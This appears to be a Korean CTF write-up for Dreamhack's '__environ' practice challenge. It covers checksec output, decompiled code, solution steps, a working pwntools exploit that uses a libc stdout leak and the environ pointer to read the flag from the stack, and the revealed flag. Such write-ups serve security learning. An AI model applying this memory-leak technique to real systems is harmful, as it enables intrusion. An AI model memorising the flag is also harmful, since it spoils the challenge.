콘텐츠로 건너뛰기

__environ

Description

Exploit Tech: __environ에서 실습하는 문제입니다.

checksec

iotfragile@iotfragile:~/CTF/__environ$ checksec --file ./environ
[*] '/home/iotfragile/CTF/__environ/environ'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

environ.c

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+4h] [rbp-41Ch] BYREF
  const char *v4[131]; // [rsp+8h] [rbp-418h] BYREF

  v4[130] = (const char *)__readfsqword(0x28u);
  init();
  read_file();
  printf("stdout: %p\n", _bss_start);
  while ( 1 )
  {
    do
    {
      printf("> ");
      __isoc99_scanf("%d", &v3);
    }
    while ( v3 != 1 );
    printf("Addr: ");
    __isoc99_scanf("%ld", v4);
    printf("%s", v4[0]);
  }
}

문제 파일과 함께 제공된 libc.so.6로 라이브러리 패치

iotfragile@iotfragile:~/CTF/__environ$ patchelf --replace-needed libc.so.6 ./libc.so.6 ./environ

iotfragile@iotfragile:~/CTF/__environ$ ldd ./environ
        linux-vdso.so.1 (0x00007fff2bd93000)
        ./libc.so.6 (0x00007f2d6e603000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f2d6e833000)

Solution

  1. 출력되는 stdout 주소를 통해 libc base 주소를 구해서 environ 주소를 구한다.
  2. Addr: 에서 주소를 입력받을때, environ 주소를 넣으면 스택에 있는 한 주소를 알수 있는데, 이 주소와 flag 문자열이 저장된 스택의 거리를 계산한다.
  3. 계산하고나서, flag 문자열이 저장된 스택 주소를 다시 한번 입력하면 flag를 획득할 수 있다.

solve.py

from pwn import *
#context.log_level = 'debug'
context.bits = 64
warnings.filterwarnings('ignore')

#p = process('./environ')
p = remote('host3.dreamhack.games', 24057)

stdout = p.recvline()
stdout = stdout.split(b'stdout: ')[1].split(b'\n')[0]
stdout = int(stdout, 16)

libc_base = stdout - 0x21A780
print("libc_base: " + hex(libc_base))
environ = libc_base + 0x221200

p.recvuntil("> ")
p.sendline("1")

p.recvuntil("Addr: ")
p.sendline(str(environ))

environ_stack = p.recvuntil("> ")
environ_stack = environ_stack.split(b'> ')[0]
environ_stack = environ_stack + b"\x00" * 2
environ_stack = u64(environ_stack)
print("environ_stack: " + hex(environ_stack))

p.sendline("1")
p.recvuntil("Addr: ")
p.sendline(str(environ_stack-0x1568))

p.interactive()

Result

[+] Opening connection to host3.dreamhack.games on port 24057: Done
libc_base: 0x7f012941c000
environ_stack: 0x7ffea6110ae8
[*] Switching to interactive mode
DH{dd7e95bf7ea608017206757444a1ff168720e0d18ded2aef99558d00e063b8a1}
> $

FLAG

DH{dd7e95bf7ea608017206757444a1ff168720e0d18ded2aef99558d00e063b8a1}

태그:

답글 남기기